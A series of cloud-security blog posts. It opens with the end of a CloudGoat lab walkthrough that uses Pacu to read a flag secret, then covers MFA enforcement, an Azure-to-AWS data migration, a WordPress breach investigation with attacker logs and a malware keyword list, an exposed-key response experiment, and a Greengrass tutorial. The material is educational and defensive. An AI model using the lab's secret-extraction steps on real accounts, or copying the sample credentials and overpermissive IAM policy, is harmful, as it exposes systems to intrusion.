            "ARN": "arn:aws:secretsmanager:us-east-1:<account_id>:secret:vulnerable_lambda_cgidsr4kzoh3iq-final_flag-LWMwMY", 
            "Name": "vulnerable_lambda_cgidsr4kzoh3iq-final_flag", 
            "LastChangedDate": 1705914524.958, 
            "LastAccessedDate": 1705881600.0, 
            "Tags": [ 
                { 
                    "Key": "Stack", 
                    "Value": "CloudGoat" 
                }, 
                { 
                    "Key": "Name", 
                    "Value": "cg-vulnerable_lambda_cgidsr4kzoh3iq" 
                }, 
                { 
                    "Key": "Scenario", 
                    "Value": "vulnerable-lambda" 
                } 
            ], 
            "SecretVersionsToStages": { 
                "terraform-20240122090844785500000002": [ 
                    "AWSCURRENT" 
                ] 
            }, 
            "CreatedDate": 1705914524.298 
        } 
    ] 
} 

Now the actual value:

Pacu (vulnerable_lambda:bilbo) > aws secretsmanager get-secret-value --secret-id vulnerable_lambda_cgidsr4kzoh3iq-final_flag --region us-east-1 
{ 
    "ARN": "arn:aws:secretsmanager:us-east-1:<account_id>:secret:vulnerable_lambda_cgidsr4kzoh3iq-final_flag-LWMwMY", 
    "Name": "vulnerable_lambda_cgidsr4kzoh3iq-final_flag", 
    "VersionId": "terraform-20240122090844785500000002", 
    "SecretString": "cg-secret-846237-284529", 
    "VersionStages": [ 
        "AWSCURRENT" 
    ], 
    "CreatedDate": 1705914524.953 
} 

The flag: cg-secret-846237-284529, marking the completion of this exercise.

Conclusion

In our CloudGoat journey, we’ve played the attacker, exploiting vulnerabilities to capture the flag. We’ve gained critical insight into how attackers operate in the cloud.

Next, we’ll switch hats again. Join me as we embrace the blue team’s role, diving into code and infrastructure to mend the revealed gaps. We will fortify the weaknesses we utilize, turning vulnerabilities into robust defences.

Stay tuned for the upcoming post!

Need your AWS environment hacked audited? Give us a call!

This article was originally written for evoila.

As cyber attackers evolve, so must our defences. In the battle against unauthorized access, MFA stands as a critical shield — a must-have rather than a luxury. This is particularly pertinent for AWS accounts that rely on direct IAM user logins, as opposed to using AWS Identity Center or other Single Sign-On (SSO) solutions. Here, MFA’s role is not just preventive; it’s the cornerstone of a fortified security posture.

MFA: The Simple, Yet Powerful Guard

MFA adds an additional level of security by requiring multiple forms of verification before granting access. Just like a reinforced door protecting your most valuable treasures, MFA ensures that even if passwords are compromised, there is an additional barrier keeping threat actors at bay.

In the case of Midnight Blizzard, the attackers made headway owing to the absence of MFA on certain accounts within Microsoft’s infrastructure. That’s a vulnerability we aim not just to patch but to eliminate in your AWS environment.

How We Help You Enforce MFA

To help you enforce MFA, we have crafted a ready-to-deploy CloudFormation stack tailored to enforce MFA on your AWS account, acting as a powerful defence mechanism. This solution is particularly designed for AWS accounts that still depend on IAM user logins for direct access, a common scenario for organizations not utilizing Identity Center or other SSO platforms.

Deploying this CloudFormation stack is straightforward and can be seamlessly integrated into any AWS account, ensuring every user who accesses the AWS Management Console via IAM users complies with MFA policies.

Implementation Without Complexity

By leveraging the CloudFormation stack, you can bypass the technical hurdles of enforcing MFA. It automates the process of detection and limitation of IAM users lacking MFA. A user found without MFA will be automatically sanctioned with restricted permissions — strictly to credential and MFA device management tasks. Only after enabling MFA can they access the AWS services to which they are entitled.

A Collective Step Toward Enhanced Security

Our proactive stance, influenced by wide-ranging shared experiences, including Microsoft’s encounter with Midnight Blizzard, is a testament to a broader responsibility to secure digital assets across the board. By taking this critical step of enforcing MFA via an easily deployable CloudFormation stack, your organization fortifies its defences, contributing to a stronger collective security framework in the cloud.

In Conclusion

In today’s cybersecurity climate, MFA is not optional — it’s essential. It’s a vital tool in your cybersecurity arsenal, helping to protect against the kind of threats exemplified by Midnight Blizzard.

Let’s not wait for an incident to remind us of MFA’s critical role; instead, let’s take charge and safeguard our AWS environments proactively. Enforce MFA on your AWS Account now with our AWS MFA Enforcement Stack. The CloudFormation stack simplifies the enforcement, ensuring that all IAM users across any AWS account are compelled to use MFA, especially in the absence of an Identity Center or SSO solution.

If you want to know if your AWS accounts are secure and follow best practices we are happy to assist you, just get in contact with us.

This article was originally published on evoila.

Have you ever been in a situation where you had files on Azure but would like to have them on another cloud provider? Well, one of our customers had exactly this requirement.

We provided a solution for this problem and since sharing is caring, I’m going to provide you with some insights and the actual code, that you can make use of.

Overview

So let’s start with the requirements we had from the customer:

• Tertiary backup should be on AWS
• Data transfer from Azure to AWS must be encrypted
• Both SMB shares and blob storage from all storage accounts must be backed up
• Backup should also be restorable in AWS
• As always: keep costs at a minimum

Key data for this project:

• Over 100 storage accounts
• Each storage account has both SMB shares and blob data
• Storage size of all data, approx. 90TB

First approach

The first solution we investigated looked like this:

It has Lambas, SNS, and other serverless services in there! Perfect! But after closer examination, some points did not quite fit the requirements. The first point is that the solution here only covers blob storage. In other words, we would have to extend the solution so that it also covers SMB files.

Another point: There are quite a few components that are used here. If that works right from the start great, but if stuff fails, happy debugging. This will increase the costs by a lot.

Looking at the first paragraph from the article it states that this solution not only transfers data once but is also capable of transferring data continuously.

It’s a nice solution, but not exactly what we need for our purposes. We need something simpler!

If only AWS had a service that could move data from A to B and we didn’t have to worry about anything other than connecting everything. That would be a nice solution. Luckily, there is!

The solution

Ladies and Gentlemen, let me introduce you to – AWS DataSync!

DataSync is exactly the service we needed for the solution. It supports both Blob storage and SMB shares. Plus, we can store everything directly in S3 as is. Easy to use, simple to maintain, and serverless. Just perfect!

Here is the solution as a diagram:

Much simpler, isn’t it? But now the exciting question is, how do I implement this? Time for a demo.

Demo with ClickOps

Since we first want to have a demo to see how the whole thing works, the first step is to create the solution using Click Ops. There are a few steps that need to happen on Azure and AWS.

I could write them all down or I could simply point you to the instructions from AWS itself that I used. Enjoy:

• For SMB shares: https://aws.amazon.com/blogs/storage/how-to-move-data-from-azure-files-smb-shares-to-aws-using-aws-datasync/
• For Blob Storage: https://aws.amazon.com/blogs/storage/migrating-azure-blob-storage-to-amazon-s3-using-aws-datasync/

Once everything is set up, the first transfer can begin. In our test, we used a couple of files with approx. 90Gb in size. However, it is important to mention here that one file is already 85 GB. Why is this important? I’ll tell you later.

So the result looks like this:

The transfer was successful and all data is now in S3. Perfect! But after looking at these numbers, the first thought was: “Hmpf, that’s kind of slow, even for German transfer rates”.

This might become a massive problem if the transfer takes too long and the next job is due. But don’t worry, we wouldn’t be evoila, if we didn’t have a solution for this!

Fixing the performance problem

When transferring data from cloud to cloud, everyone would probably expect significantly more than just 30Mib/s. So, what the fricking 🦆 is going on here? Let’s go in search of clues.

We can rule out DataSync directly because there is only the option of throttling the transfer or working with full power. This means that the only adjustment we have is the VM on Azure which the agent is running on.

Our test machine is the Standard_E4as_v4 with the recommended resources:

• 32GiB RAM
• 4 cores

Theoretically, everything is sufficient and according to the Docs, this machine is capable of putting 4000 MBit/s through the network.

So what is the problem then? Simply put: Size does matter!

As described above, one file is 85 GB! It turns out the bottleneck on our test is the compressing of these 85Gb. Nothing more. We did another test with a lot smaller files and we achieved speeds of over 100 Mib/s.

From this, I can recommend keeping the files as small as possible. If, for whatever reason, you still might have issues regarding the performance, AWS has your back. This article covers more options to accelerate your data transfer:

How to accelerate your data transfers with AWS DataSync scale-out architectures

Make it done

Now that all the problems have been solved and the demo works, it’s time to make it usable.

As already mentioned, there are more than 100 storage accounts and each of them has SMB shares as well as blob storage. This means for each storage account, we would need to create a task in DataSync for the blob storage and a task for the SMB share. Doing this via Click Ops would be madness, so in this case we naturally use the power of IaC.

You can find the repository for this project in our GitHub repository evoila/azure-to-aws-datasync.

Let me explain to you some decisions we made and why some things in the repository were solved a certain way.

List of accounts

We have decided to manage the accounts in a simple list. The reason is so we can get started with it sooner rather than later.

An example of how such an account is defined can be found in the file terraform/storage_accounts.tfvars.example:

storage_account_list = [{
  name = "my-storage-account"
  smb = {
    server_hostname = "mystorage.file.core.windows.net"
    subdirectory = "/fileshare/"
    user = "user"
    password = "UGxlYXNlRG9udEhhY2tNZUhhY2tlcm1hbg=="
  }
  azure_blob = {
    container_url = "https://mycontainer.blob.core.windows.net/example"
    token = "sp=rl&st=2023-10-19T13:15:31Z&se=2023-10-19T21:15:31Z&spr=https&sv=2022-11-02&sr=c&sig=<string>"
  }
}]

As you can see, credentials are stored in this file. So make sure to keep it a secret!

CMK

The CMK is only created initially so that it is a terraform resource. But the key material is created and managed by the customer as the compliance requirement states. This is why we are ignoring changes in the key on the alias:

resource "aws_kms_alias" "cmk_s3_alias" {
  name          = "alias/${var.cmk_s3_alias}"
  target_key_id = aws_kms_external_key.cmk_s3.arn
  lifecycle {
    ignore_changes = [target_key_id]
  }
}

S3

For S3, we have decided to put all files in a single bucket and sort them using unique names and keys.

An example would be:

account1
├── blob
│ └── files
└── smb
    └── files
account2
├── blob
│ └── files
└── smb
    └── files

This way we can manage the control policy on a single bucket and if more precise permissions are required later, it will be done so on the key level.

Monitoring

I didn’t include monitoring into the terraform code, because this is heavily depented on your scenario. Setting it up is easy though. Trust me. Just create an EventBridge rule for DataSync, that’s it. From here, you can trigger a Lambda, SNS or whatever you like. You can find a great article here on how to setup a notification of a successull or failed task.

Conclusion

In our journey of transferring files from Azure to AWS, AWS DataSync emerged as the optimal choice. Despite performance hitches, streamlining processes and prioritizing smaller file sizes led to successful transfers.

The Infrastructure as Code solution we developed, efficiently created tasks for storage accounts, and we applied strong security measures ensuring centralized, controlled access to data.

Our solution is open source, and the provided Terraform code is readily adaptable for your projects. If you also need to synchronize data from a storage account having both SMB shares and blob storage, simply clone our GitHub repository, update the storage account list with your specification, and use the Terraform apply command to initiate the process. This simplifies the process of migrating substantial data securely between cloud platforms.

This article was originally published on evoila.

First details

I was contacted on September 5, 2023. With all known details, one of which was a password change on one of the admin accounts. This password change was on the 12th of May. This means the attacker was undetected for 116 days! You might think, that this is the long timeframe, which I would tell you: Yes! you are right. However, it is still below the average of 287 days until a breach is detected.

Since the breach is at least 116 days old there is no point in restoring a backup until I know exactly when the attacker got into the system. So it is time to do some forensics on the system.

Step 1 - Lockdown

Since this is a crime scene, the first thing I need to do is lock the system down. This is to prevent users from falling for the scam and avoid further damage to the customer's reputation.

A simple Basic Authentication on the whole website is enough here.

With the site locked for everyone else, I can begin to gather more information about what happened.

Step 2 - Forensics

With access to the cPanel, I'm going to download the current state of the WordPress instance. This is so I can run a local scan and other intel gathering locally, without breaking anything online.

After installing the instance on a virtual machine, I'm starting a scan with wp-scan and letting it do its thing.

In the meantime, it is time to dig into logs. Luckily I've got a date of a strange event: Admin password change on the 12th of May.

Looking inside the access logs on this date, I can see a lot of the usual noise and something that is out of the ordinary:

193.169.195.57 - - [12/May/2023:16:26:56 +0200] "GET / HTTP/1.1"
301 487 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125
Safari/537.36"
…
193.169.195.57 - - [12/May/2023:16:27:21 +0200] "GET /about-us
HTTP/1.1" 404 126301 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125
Safari/537.36"
193.169.195.57 - - [12/May/2023:16:27:21 +0200] "GET /terms-of-
service HTTP/1.1" 404 126335 "-" "Mozilla/5.0 (Windows NT 10.0;
WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125
Safari/537.36"
>> 193.169.195.57 - - [12/May/2023:16:27:22 +0200] "GET /?343=1
HTTP/1.1" 200 236590 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125
Safari/537.36"
193.169.195.57 - - [12/May/2023:16:27:23 +0200] "POST
/wp-admin/admin-ajax.php HTTP/1.1" 200 5901 "-" "Mozilla/5.0
(Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/84.0.4147.125 Safari/537.36"
193.169.195.57 - - [12/May/2023:16:27:24 +0200] "POST
/wp-admin/admin-ajax.php HTTP/1.1" 200 5921 "-" "Mozilla/5.0
(Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/84.0.4147.125 Safari/537.36"
>> 193.169.195.57 - - [12/May/2023:16:27:24 +0200] "POST /wp-
login.php HTTP/1.1" 200 17358 "-" "Mozilla/5.0 (Windows NT 6.1;
Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"

As you can see there was an enumeration process going on from the IP 193.169.195.57 and in the last entry a successful login. Interesting.

So how was this possible? Take a closer look at the entries above, especially this one:
193.169.195.57 - - [12/May/2023:16:27:22 +0200] "GET /?343=1 ...

Searching for this request will lead to this article. Which describes a vulnerability in Essential Addons for Elementor. Give it a read to know the details of this.

Going back to wp-scan I'm getting a lot of outdated plugins warning, one of which is the Essential Addons for Elementor Plugin. Seems like we've got a match.

Checking the signature of this with the created files, I can confirm, that this is the attack that led to the breach:

Step 3 - Remediation

The best thing you can do in this situation is to install a clean WordPress and point it to the current database. But before I can do that, I also need to make sure, that the database is not contaminated with malware.

A quick way to do this is, to download the SQL dump, open it with a code editor and search for the following:

• <iframe
• base64_decode
• eval()
• <script

If you find any of these entries inside your dump, take a closer look at them. This might be another way for the hacker to get back into your WordPress instance. You can read more about this topic here.

In this case, there was nothing to be found, so I proceeded with installing WordPress in a subfolder.

After confirming that the new WordPress is up and running I deleted the old WordPress files.

Step 4 - Hardening

Now that everything seems to be cleared, I need to make sure, this won't happen in the future again. This means hardening the system.

For this, I've installed Wordfence. This plugin is a great plugin when it comes to hardening WordPress and notifying certain events.

Wordfence also offers the ability to enable 2FA. Which every User with Admin privileges is now required to have.

Next, I've instructed the team to remove all unused plugins. An easy step, but a powerful one.

The last and most important one: I've enabled automatic updates on all plugins, themes and WordPress itself. I know that this might break the site from time to time, but I can assure you that a div slightly offset is far better than a breached website.

Conclusion

The breach of this WordPress site emphasized the importance of timely software updates and vigilant cybersecurity measures.

This incident, rooted in an outdated plugin, could have been avoided with regular updates. So make sure to implement at least automatic updates!

I can also highly recommend installing Wordfence on your WordPress site, to have an extra layer of security.

It's crucial to remember that maintaining software up-to-date is an essential defence against cyber threats, underlining the necessity to keep your software updated to ensure optimal site security.

Who doesn't know that, you just write a quick fix for your code? After a few hours, the function is finally finished.

Proud to have finally done it. Your Brain, toast. Your commit, fast. Pushing your credentials without realising, even faster! Let's find out what happens next.

It happens like that every day. However, I wanted to experience this myself. What is happening on the AWS side, and what steps can I add to increase our security posture here. So join me on my journey of making the Access Keys public so we can both learn from it.

Setup

The setup for this experiment is simple:

• A public repository on GitHub
• A clumsy user (me)
• Access key from that user
• SNS
• SES
• Step Functions
• EventBridge

So the first thing I did was to create a repository on GitHub. Nothing special. It contains a README.md and .env file. That should be enough. Usually, the .env file shouldn't be committed in any repository, but clumsy me wanted to finally finish the work. So I forgot to add this to the .gitignore. Whoopsie!

Luckily, for me, I'm using a specific user for this case alone. Since I knew beforehand that I will expose those keys "by accident", I was prepared. After all, exposing any keys is always dangerous. Don't try this at home!

The dummy user is not allowed to do anything, nada, niente. Not only implicitly, but explicitly! AWS has already created a role for this purpose AWSDenyAll. So I'm using this policy for that clumsy user.

Now that that's done, quickly created a SNS Topic and put my email in it as a subscriber.

Now I have to get the corresponding event. The magic word is, therefore: EventBridge Rule. For this, I followed this tutorial. After I set up everything, I did the first test. A little Test and the result: One support ticket, one email from AWS, and no SNS notification. Interesting. Like the good first-class programmer I am, let's not change anything and run it again. Still no change. Very interesting.

A small adventure

A few exposed keys and just as many support tickets later, I figured it out. Let me explain it to you. You see, the event is triggered by the Support Center. More precisely, as soon as an issue is created. See the following screenshot:

As you can see the event is called AWS_RISK_IAM_QUARANTINE and NOT AWS_RISK_CREDENTIALS_EXPOSED. Glad nobody told me this before! But that is not all. Under the EventBridge rule AWS_RISK_CREDENTIALS_EXPOSED is not available in the dropdown either! Isn't that great?

Fortunately, the solution here is relatively simple, do it yourself:

Here is the JSON

{
  "source": ["aws.health"],
  "detail-type": ["AWS Health Event"],
  "detail": {
    "service": ["RISK"],
    "eventTypeCategory": ["issue"],
    "eventTypeCode": ["AWS_ACCESS_KEY_EXPOSED", "AWS_RISK_IAM_QUARANTINE"]
  }
}

Yep, there is still more to do. The region plays a decisive role here as well because the Support Center is a global service, but it directly means that the events arrive in us-east-1. Global usually means us-east-1. Remember that! So the EventBridge Rule as well as the SNS Topic and whatever you need to automate in this case must be created in us-east-1!

Some AWS Health events are not Region-specific. Events that aren't specific to a Region are called global events. These include events sent for AWS Identity and Access Management (IAM). To receive global events, you must create a rule for the US East (N. Virginia) Region.

Source

So again short and sweet:

1. the EventBridge Rule to receive a global event must be in us-east-1.
2. the SNS Topic must be in us-east-1.
3. the event pattern must be as described above

Now this is all setup, time to make a whoopsie-daisy and expose our access key.

The Exposure

As described before, the key is made public in the .env file "by accident". To do this, I simply enter the Access Key and Secret Access Key and use the magic words git commit -m "exposium!" && git push origin main.

After the push, some processes are initiated at GitHub and AWS. This happens on every commit and this allows AWS to react in time if they find access keys in a repository. You can read here about GitHubs secret scanner. In the default case, 3 things happen:

1. a support ticket is opened on AWS Support
2. you get an email with the info that access keys have been exposed
3. the user gets the policy AWSCompromisedKeyQuarantineV2 attached.

The email describes some steps you can do in this case. Here is an excerpt:

And here is the event that gets created:

{
   "version":"0",
   "id":"<id>",
   "detail-type":"AWS Health Event",
   "source":"aws.health",
   "account":"<account_id>",
   "time":"2023-07-10T09:30:04Z",
   "region":"us-east-1",
   "resources":[
      "AKIARCDX5PTSMNPTIQOR"
   ],
   "detail":{
      "eventTypeCode":"AWS_RISK_IAM_QUARANTINE",
      "communicationId":"<communicationId>",
      "eventScopeCode":"ACCOUNT_SPECIFIC",
      "eventTypeCategory":"issue",
      "affectedEntities":[
         {
            "entityValue":"AKIARCDX5PTSMNPTIQOR"
         }
      ],
      "eventMetadata":{
         "accountId":"<account_id>",
         "publicKey":"AKIARCDX5PTSMNPTIQOR",
         "userName":"ExposedKeysUser",
         "exposedUrl":"https://github.com/<github_user>/expose-aws-keys-experiment/blob/<commit>/.env"
      },
      "eventArn":"arn:aws:health:us-east-1::event/RISK/AWS_RISK_IAM_QUARANTINE/AWS_RISK_IAM_QUARANTINE-oBGgvLlBIX",
      "service":"RISK",
      "eventDescription":[
         {
            "latestDescription":"Your AWS Account may be compromised! We have opened a Support Case with more details. Please visit the AWS Support Center https://aws.amazon.com/support to review the case we've opened for you and take action immediately.",
            "language":"en_US"
         }
      ],
      "lastUpdatedTime":"Tue, 10 Jul 2023 09:30:04 GMT",
      "startTime":"Tue, 10 Jul 2023 09:30:04 GMT",
      "eventRegion":"us-east-1",
      "endTime":"Tue, 25 Jul 2023 09:30:04 GMT",
      "statusCode":"open"
   }
}

The email from AWS describes what is best to do, but those are manual steps. Can you imagine? Manual steps...

No, we are what we are, because we automate all the things!

Now let's take a look at what we can derive from this.

From Experiment to Improvement

Now is the question what to do with all the information? AWS is providing great steps in the e-mail/issue that you can do in the case of compromised access keys, but as I've said before, I want this to be automated. So I did a little bit of thinking and came up with the following steps I want to include:

1. Deactivate the access key
2. Send useful notifications to the internal security team

Here is the diagram of what should happen:

This is a minimal approach and more like a proof of concept, rather than a mature action plan. Anyway, I've created a simple step function that uses the previous notification and consists of the following steps:

{
  "Comment": "A step function to send an email when an AWS access key is exposed.",
  "StartAt": "DeactivateAccessKey",
  "States": {
    "DeactivateAccessKey": {
      "Type": "Task",
      "Parameters": {
        "UserName.$": "$.detail.eventMetadata.userName",
        "AccessKeyId.$": "$.detail.eventMetadata.publicKey",
        "Status": "Inactive"
      },
      "Resource": "arn:aws:states:::aws-sdk:iam:updateAccessKey",
      "Next": "SendEmail",
      "ResultPath": "$.AccessKeyStep.status"
    },
    "SendEmail": {
      "Type": "Task",
      "Parameters": {
        "Content": {
          "Simple": {
            "Body": {
              "Text": {
                "Data.$": "States.Format('Dear Security Team,\r\n\r\nWe wish to bring to your immediate attention an incident of AWS access key exposure detected by automated \"GitHub secret scan\". Here is the incident details:\r\n\r\nEvent ID: {}\r\nIAM User: {}\r\nAccess Key ID: {}\r\nExposed Key Status: [Status will be filled here]\r\nEvent Timestamp: {}\r\nInitial Detection Source: AWS Health Dashboard\r\nAutomated Action Taken: [Automated Action will be filled here]\r\n\r\nPlease acknowledge receipt of this notification and keep us updated on your progress with the investigation and remediation. Remember, security is our collective responsibility.', $.detail.eventArn, $.detail.eventMetadata.userName, $.resources[0], $.time)"
              }
            },
            "Subject": {
              "Data": "Security Alert: AWS Access Key Exposure"
            }
          }
        },
        "Destination": {
          "ToAddresses": [
            "security@example.com"
          ]
        },
        "FromEmailAddress": "alert@example.com"
      },
      "Resource": "arn:aws:states:::aws-sdk:sesv2:sendEmail",
      "ResultPath": null,
      "End": true
    }
  }
}

This can be easily extended with more steps, checks, and whatnot. For example, you could also add them GetAccessKeyLastUsed to have an idea of where to look, when an incident occurs. Be careful! This data might not be the most recent one. Make sure to check CloudTrail for other activities. Use the filter to search for your exposed access key: https://<region>.console.aws.amazon.com/cloudtrail/home?region=<region>#/events?AccessKeyId=<access_key_id>.

If you feel fancy, you can add this link to your notification. Just to give you another example of what you can do.

Lessons Learned and Best Practices

I've learned a lot from this little experiment. Especially how to avoid exposing my keys over and over again thanks to EventBridge replay functionality. Please be smarter than me and use this instead. (AWS Support, I'm sorry)

Regarding access keys, I've learned the following:

1. Don't use them
2. Avoid them
3. That's it

Simple right, but you are probably now like:

"But I need access keys because my resources are outside of AWS". In that case, just use AWS Identity and Access Management Roles Anywhere. Problem solved.

If you still insist on using access keys, make sure to do at least the following:

• Create a dedicated user for each application
• Give that user the least privileges
• Don't hardcode your access keys into your project
• rotate them
• remove them

By removing them, I mean especially those that are no longer used!

Consider moving your application where your access keys are. Yes, into the cloud! A far better solution to consider is to use roles instead of access keys. Here is an excellent article No more AWS keys for you from Nicole Yip.

Still, this doesn't answer the question of what do to in the case of exposed keys in detail. After some digging around, I found the response steps from NIST Special Publication 800-61r2 Computer Security Incident Handling Guide (what a long name):

1. Preparation
2. Detection
3. Containment
4. Eradication
5. Recovery
6. Lessons learned

What does this mean in detail? AWS kindly provides an example Incident Response Playbook what those steps mean in detail, which I proudly stole from them:

• [PREPARATION] Perform an Asset Inventory
• [PREPARATION] Implement a training plan to identify and respond to exposed IAM credentials
• [PREPARATION] Implement a communication strategy for incident response
• [DETECTION] Identify Root Account Access (authorized and not)
• [DETECTION] Identify New or unrecognized IAM users
• [DETECTION] Identify Unrecognized or unauthorized resources (e.g., EC2, Lambda)
• [DETECTION] Identify and find exposed secrets
• [DETECTION] Identify Unusual billing increases
• [DETECTION] Respond to notification from AWS or a third party that my AWS resources or account might be compromised
• [DETECTION] Identify any potentially unauthorized IAM user credentials
• [PREPARATION] Identify Escalation Procedures
• [DETECTION AND ANALYSIS] Review CloudTrail Logs
• [DETECTION AND ANALYSIS] Review VPC Flow Logs
• [DETECTION AND ANALYSIS] Review Endpoint / Host Based Logs
• [CONTAINMENT] Perform appropriate containment actions
• [ERADICATION] Review the findings from Review CloudTrail event history for activity by the compromised access key
• [ERADICATION] Review the Avoiding unexpected charges
• [RECOVERY] Perform appropriate recovery actions
• [PREPARATION] Perform a Prowler IAM Scan
• [PREPARATION] Enable MFA
• [PREPARATION] Verify your account information
• [PREPARATION] Use AWS Git projects to scan for evidence of unauthorized use
• [PREPARATION] Avoid using the root user for day-to-day operations
• [PREPARATION] Evaluate your Overall Security Posture

From this guideline, you can create a detailed playbook which fits your own needs. Make sure to have it ready when you need it and give the whole guideline a read!

Sidenote: For all my fellow germans, there is also a guideline provided by the BSI (Thanks to Manuel for the info!). This might be more useful, because of compliance reasons.

Conclusion

That wraps it up. Nothing beats hands-on experience. I've learned a lot by just exposing some access keys over and over again. Don't worry, I've also learned to use EventBridge the right way, so I won't end up with 15.000 support tickets, so should you!

My takeaways from this are as follows:

• Avoid using access keys where you can. Use roles instead!
• Prepare for access key exposure!
• Make sure to lay out your action plan
• Test your plan yourself before somebody forces you to do it

While I've still got some research to do, and more measures to implement, I hope this exploration of the world of public access key exposure has been as enlightening for you as it was for me. If you are as prone to face-palm moments as I am, I'd like to think that you'll sleep a bit easier tonight.

My next steps are now to bring my new knowledge into a playbook that follows the best practices from AWS and NIST.

Stay tuned and good night.

This article was originally written for evoila

Greengrass is a software developed by Amazon Web Services (AWS) for the deployment of local compute, messaging, and data caching capabilities for Internet of Things (IoT) devices. This allows IoT devices to operate even when disconnected from the cloud and enables real-time local processing and the ability to respond quickly to events. One common deployment scenario for Greengrass is using a small, low-power IoT device as the core device. These devices, such as the Raspberry Pi, can be configured to run Greengrass and connected to sensors and actuators. This allows for data to be collected and processed locally on the IoT device, and then securely sent to the cloud for further analysis and storage. This approach can be particularly useful in situations where a reliable internet connection may not be available or where low latency is crucial. In situations where more CPU power is needed, a more powerful device can be used as the IoT core. For example, a larger single-board computer like the NUC or Intel's IoT gateway could be used, providing more processing power and storage capacity for more demanding workloads. Additionally, the ability to run AWS Lambda functions on the IoT device with Greengrass enables the execution of specific business logic on the device itself, reducing the need to constantly send data to the cloud.

Prerequisites

Disclaimer: This tutorial is for people that know the basics of AWS and can read code.

What you need to follow this tutorial:

Hardware

• Raspberry Pi (Recommended is a Pi 3 or 4. For setting up a Zero, check out this video)
• SD Card
• Electricity (Duh!)

Software

1. AWS IoT Greengrass Core software: This is the software that runs on the Raspberry Pi and provides local compute and communication capabilities for connected devices. It can be downloaded from the AWS IoT Greengrass website.
2. Operating System: Greengrass v2 supports Linux or Windows. In this tutorial, I'm going to use Raspberry Pi OS.
3. Python: Greengrass uses python as its primary programming language. It requires python 3.7 or higher.
4. pip
5. virtualenv

Also, grab a cup of coffee, you'll need it. Go ahaid, I'll wait for you.

Local Setup

There are plenty of tutorials on how to set up a Raspberry Pi, so I won’t go through this topic. If you need a tutorial, please read the official documentation, most tutorials are outdated on how to set up a pi: https://www.RaspberryPi.com/documentation/computers/getting-started.html
Just make sure, it has SSH and access to the internet.

SSH onto your Raspberry and install the following software.

But first, let’s update our raspberry:

sudo apt update && sudo apt upgrade -y

Install Java:

sudo apt install default-jdk

check if Java is installed with:

java --version

you should get a version from this command, like this:

openjdk 11.0.16 2022-07-19
OpenJDK Runtime Environment (build 11.0.16+8-post-Raspbian-1deb11u1)
OpenJDK Server VM (build 11.0.16+8-post-Raspbian-1deb11u1, mixed mode)

Cloud Setup

Go to the AWS Management Console and head over to IAM. We need a User. Give that User programmatic access and make sure to save the Access and Private Key. You’ll need the user just to pull the correct data during the Greengrass installation. When that is done, you can delete that user.

Again: it is important to grab the access and secret key, after creating the user.

Now that user needs the right permissions.  Create a Policy with the following permissions:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": [
                "greengrass:*",
                "iot:DescribeEndpoint",
                "iam:*",
                "iot:*"
            ],
            "Resource": "*"
        }
    ]
}

This policy is overpermissive, but because we are only using this during the one-time installation, it is fine. Give that Permission to your freshly created user.

Awesome! The first steps are done. Take a sip of your coffee!

Installing and configuring Greengrass

Time to create the core Device. This will be the representation of the Raspberry Pi. Navigate to IoT Core, under Manage, and go to Greengrass Devices -> Core Device. Click the bright orange button (Setup one core device).

Now give your Core device a name and select no group. Note: Since I'm just showing how to set up one device, I don't need groups. If you are planning on having multiple core devices and want to group them, e.g. to deploy and configure components, go ahead and create a group.

The next steps are all on the Raspberry Pi, so let's switch over. AWS is recommending using temporary security credentials (which makes sense), but since you're just going to use that user during the one time installation, we will kindly ignore that here.

SSH into your Raspberry Pi and type in the commands from the setup page: (Replace <AWS_ACCESS_KEY_ID> and <AWS_SECRET_ACCESS_KEY> with the keys from the previously created user)

export AWS_ACCESS_KEY_ID=<AWS_ACCESS_KEY_ID>
export AWS_SECRET_ACCESS_KEY=<AWS_SECRET_ACCESS_KEY>

Copy the command to download the Greengrass installer. Similar to this one:

curl -s https://d2s8p88vqu9w66.cloudfront.net/releases/greengrass-nucleus-latest.zip > greengrass-nucleus-latest.zip && unzip greengrass-nucleus-latest.zip -d GreengrassInstaller

After the download is finished, run the command to install Greengrass. Use the command AWS is providing you in step 3.2. It is similar to this:

sudo -E java -Droot="/greengrass/v2" -Dlog.store=FILE -jar ./GreengrassInstaller/lib/Greengrass.jar --aws-region eu-central-1 --thing-name MyGreengrassCoreDevice  --component-default-user ggc_user:ggc_group --provision true --setup-system-service true --deploy-dev-tools true

Best time to take another sip!

The installation should be done fairly quickly and you get some info. Check if the service is running:

sudo systemctl status greengrass.service

If it's green and running, congratulations! If it's dead, check out the troubleshooting part of the docs.

You can read more about the installation process and parameters here.

Go back to the management console, and click on "View core devices". You should see your core device sooner or later pop up in the table.

Perfect! You've done the hardest part of the tutorial! Take another sip of your coffee and enjoy the victory! This is also the perfect time to delete the user you've created before.

Deployment

Next, we want the Raspberry Pi to receive and forward messages to IoT Core.

For this to properly work, we will need a couple of Greengrass components on the Raspberry Pi:

• Auth
• Bridge
• Broker (Moquette)

On the management console, under IoT Core, go over to Deployment. Search for Deployment for (Replace with your core device name).

Select the deployment and click on Revise on the top right corner.

You can take a look at the info and click next.

Under Public components make sure the toggle for Show only selected components is disabled. Search for Auth and select the component. Repeat the same for Moquette and Bridge. Your selection should be as the following:

Click next, to configure the components. In this step, I'm going to show you how you can control what topics are allowed and what IoTs can publish messages to topics.

Select the Auth component and click Configure component on the top right corner.

This should bring up a modal form, where you place the following JSON under Configuration to merge:

{
  "deviceGroups": {
    "formatVersion": "2021-03-05",
    "definitions": {
      "MyDeviceGroup": {
        "selectionRule": "thingName: MyClientDevice* OR thingName: MyOtherClientDevice*",
        "policyName": "MyClientDevicePolicy"
      }
    },
    "policies": {
      "MyClientDevicePolicy": {
        "AllowAll": {
          "statementDescription": "Allow client devices.",
          "operations": [
            "mqtt:connect",
            "mqtt:publish",
            "mqtt:subscribe"
